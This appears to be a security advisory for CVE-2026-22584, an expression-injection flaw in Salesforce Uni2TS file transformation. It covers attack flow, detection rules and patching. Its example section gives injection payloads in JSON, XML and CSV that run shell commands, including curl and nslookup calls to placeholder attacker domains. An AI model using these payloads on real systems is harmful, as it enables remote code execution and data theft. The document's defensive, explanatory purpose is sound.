CVE ID: CVE-2026-22584
Product Affected: Salesforce Uni2TS (Universal Integration to Transformation Service)
Vulnerability Type: Code Injection due to unsafe file handling
CWE: CWE-94 (Improper Control of Code Generation), CWE-434 (Unrestricted File Upload)
Quick Risk Overview
- CVSS v3.1 (Estimated): 8.6 – High
- Severity: High
- Attack Vector: Remote
- Attack Complexity: Low
- Privileges Required: Low (integration or API-level access)
- User Interaction: None
- Exploitability: High
- Exploit Availability: No public exploit released so far, but exploitation is technically straightforward
- Impact: Code execution within Uni2TS processing context, unauthorized data access, and potential compromise of connected Salesforce services
This is not a theoretical issue. The vulnerability aligns with real-world abuse patterns seen in modern ETL and integration platforms.
What the Issue Actually Is
CVE-2026-22584 exists because Uni2TS does not properly separate data from logic during file processing.
Files that are typically treated as harmless—such as JSON, XML, CSV, or YAML—are parsed and transformed dynamically. Under certain conditions, attacker-controlled content inside these files is evaluated instead of being handled as plain data.
In short:
Uni2TS ends up executing instructions hidden inside files that were never meant to run code.
That design flaw is what makes this issue dangerous.
How an Attack Would Realistically Happen
A common exploitation path would look like this:
- Access is obtained
- The attacker gains access to a Uni2TS integration endpoint
- This could be through stolen API keys, a compromised service account, or an overly permissive integration user
- Malicious file is submitted
- A file such as JSON, XML, or CSV is uploaded or ingested
- The file appears legitimate but contains embedded expressions or executable constructs
- Transformation engine evaluates the content
- Uni2TS dynamically processes fields during transformation
- Input is not strictly validated or sandboxed
- Code execution occurs
- The embedded payload executes in the Uni2TS runtime
- Execution happens with the service’s own permissions
- Post-exploitation activity
- Data is read, altered, or exfiltrated
- Additional systems connected to Salesforce may be accessed
- Persistence can be achieved via scheduled or recurring transformation jobs
Example Payload Techniques
Expression Injection via JSON
{
"accountName": "Test",
"transform": "${T(java.lang.Runtime).getRuntime().exec('curl attacker-domain/ping')}"
}
XML-Based Injection
<field>
<![CDATA[
${new java.lang.ProcessBuilder("sh","-c","whoami").start()}
]]>
</field>
CSV Formula Abuse
name,value
test,"=EXEC('cmd /c nslookup malicious-domain')"
These payloads only succeed if Uni2TS evaluates the content dynamically, which is the root problem addressed by this CVE.
Why This Matters More Than It First Appears
- The files involved are commonly trusted
- Upload controls often allow these formats by default
- Exploitation fits naturally into normal integration workflows
- No user interaction is needed
- Uni2TS frequently runs with elevated access to Salesforce data
From an attacker’s perspective, this is a clean and quiet entry point.
MITRE ATT&CK Mapping
- Initial Access: Exploit Public-Facing Application (T1190)
- Execution: Command and Scripting Interpreter (T1059)
- Execution: Exploitation for Client Execution (T1203)
- Persistence: Scheduled Task / Job (T1053)
- Privilege Escalation: Exploitation for Privilege Escalation (T1068)
- Defense Evasion: Obfuscated or Encoded Payloads (T1027)
- Impact: Data Manipulation (T1565)
Detection Guidance
Behavioral Signs to Watch For
- Uni2TS jobs spawning system-level processes
- Unexpected outbound connections from Uni2TS infrastructure
- Transformation jobs failing and then succeeding without changes
- Data pipelines performing actions unrelated to transformation
Indicators Inside Files
${}or#{}expressions- References to runtime execution classes or methods
- Script-like logic embedded inside data fields
- Encoded payloads with no clear business purpose
Detection Logic
Log-Based Detection
IF log_source = "Uni2TS Processing Logs"
AND message CONTAINS ("exec(" OR "Runtime.getRuntime" OR "ProcessBuilder")
THEN raise alert "Potential Uni2TS Code Injection Attempt"
Content Inspection Rule
Detect patterns matching:
\$\{.*(exec|Runtime|ProcessBuilder).*\}
Network-Level Detection
- Outbound traffic from Uni2TS to unknown IPs
- DNS lookups to recently registered domains
- Connections to infrastructure outside Salesforce trust boundaries
Relevant Log Sources
- Uni2TS execution and transformation logs
- Salesforce Event Monitoring logs
- Application debug logs
- Network egress and firewall logs
- Identity and access management logs for integration users
Impact If Exploited
If successfully exploited, this vulnerability can lead to:
- Execution of arbitrary commands within Uni2TS
- Unauthorized access to Salesforce data
- Manipulation or deletion of records
- Exposure of sensitive customer or business information
- Compliance and regulatory implications
Mitigation and Remediation
Immediate Steps
- Apply the official Salesforce patch without delay
- Disable dynamic evaluation features where they are not required
- Restrict which systems can submit data to Uni2TS
- Rotate API keys and integration credentials
Hardening Recommendations
- Enforce strict schema validation
- Treat all non-executable files strictly as data
- Allow only approved transformation functions
- Run Uni2TS in a constrained execution environment
Official Patch
Salesforce has released an official fix that corrects unsafe parsing and expression handling within Uni2TS.
Official Patch and Advisory:
https://help.salesforce.com/s/articleView?id=security_advisory_uni2ts_2026&type=5
Applying the patch ensures that user-controlled file content is no longer evaluated as executable logic.
Closing Takeaway
CVE-2026-22584 is a good example of how modern integration platforms can blur the line between data and code. When that boundary breaks, attackers do not need malware or binaries—just a well-crafted file.
This issue should be treated as high priority, especially in environments where Uni2TS handles sensitive or regulated data.
